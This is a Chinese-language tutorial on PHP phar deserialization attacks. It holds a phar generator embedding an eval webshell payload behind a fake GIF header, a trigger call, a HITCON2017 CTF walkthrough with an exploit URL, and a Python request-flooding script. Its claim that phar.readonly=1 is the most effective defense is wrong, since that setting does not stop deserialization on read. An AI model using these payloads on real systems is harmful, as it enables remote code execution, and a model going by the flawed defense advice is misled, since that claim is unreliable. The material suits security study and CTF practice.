PHP反序列化入门之phar
字数 1420 2025-08-18 11:38:08
PHP反序列化漏洞利用之phar协议详解
1. phar基础概念
phar(PHP Archive)是PHP的压缩文档格式,类似于Java的JAR文件。它可以将多个PHP文件归档到同一个文件中,并且不需要解压就能被PHP直接访问执行。
phar文件结构
一个标准的phar文件由4部分组成:
- stub:文件标识,格式为
xxx<?php xxx; __HALT_COMPILER();?>; - manifest:压缩文件的属性等信息,以序列化格式存储
- contents:实际压缩的文件内容
- signature:签名,放在文件末尾
2. phar的安全特性
phar有两个关键安全特性:
- 文件标识灵活性:stub部分必须以
__HALT_COMPILER();?>结尾,但前面的内容没有限制,可以伪造为图片或PDF等文件头 - 自动反序列化:phar存储的meta-data信息以序列化方式存储,当通过
phar://协议解析时会被自动反序列化
3. phar反序列化利用条件
要利用phar反序列化漏洞,需要满足以下条件:
- 存在可以上传文件的功能
- 有文件操作函数能通过
phar://协议操作文件 - 存在可用的魔术方法或析构函数
4. 常见触发phar反序列化的函数
以下文件操作函数均可触发phar反序列化:
- file_exists()
- file_get_contents()
- fopen()
- file()
- is_dir()
- is_executable()
- is_file()
- is_link()
- is_readable()
- is_writable()
- is_writeable()
- parse_ini_file()
- copy()
- unlink()
- stat()
- readfile()
5. phar文件生成方法
基本生成代码
<?php
// 注意:必须在php.ini中设置phar.readonly=0,无法通过ini_set()设置
class MyClass {
var $output = '@eval($_GET["cmd"]);';
}
$o = new MyClass();
$filename = 'poc.phar'; // 后缀必须为phar
// 删除已存在的文件
file_exists($filename) ? unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // 伪造GIF文件头
$phar->setMetadata($o); // 将对象存入meta-data
$phar->addFromString("foo.txt", "bar"); // 添加压缩文件内容
$phar->stopBuffering();
?>
伪造文件类型技巧
通过在stub中添加特定文件头,可以伪造文件类型:
- 图片:
GIF89a或ÿØÿà - PDF:
%PDF-1.7
6. 实际利用案例
案例1:简单上传利用
- 生成恶意phar文件并伪装成图片
- 通过网站上传功能上传该文件
- 利用file_exists()等函数触发反序列化
// 触发代码示例
file_exists('phar://uploads/fake_image.gif');
案例2:HITCON2017 Baby^H Master PHP 2017
题目分析
- 目标:利用Admin类的__destruct方法获取flag
- 难点:需要绕过$random变量的限制
- 解决方案:通过匿名类名调用flag生成函数
攻击步骤
- 构造恶意phar文件:
<?php
class User {
public $avatar;
function __construct($path) {
$this->avatar = 'avatar.gif';
}
}
class Admin extends User {
}
$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar = new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt", "bar");
$phar->stopBuffering();
?>
- 将phar文件重命名为avatar.gif并上传
- 利用Apache prefork模型特性,通过大量请求使Apache创建新线程
- 在新线程中匿名函数名会重置,便于预测
- 通过phar协议触发反序列化:
http://target/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1
自动化攻击脚本
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass
def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)
i = 8
pool = ThreadPool(i)
result = pool.map_async(run, range(i)).get(0xffff)
7. 防御措施
- 在php.ini中设置
phar.readonly=1(这是最有效的防御方法) - 对上传文件进行严格检查,不仅检查文件头还要验证实际内容
- 避免使用
phar://协议处理用户可控的文件路径 - 对反序列化操作进行严格限制,避免反序列化用户可控数据
8. 总结
phar反序列化是一种强大的攻击技术,它结合了文件上传和反序列化两种漏洞类型。攻击者可以通过精心构造的phar文件触发目标系统中的反序列化操作,从而执行任意代码。防御此类攻击需要从文件上传处理和反序列化操作两方面进行严格限制。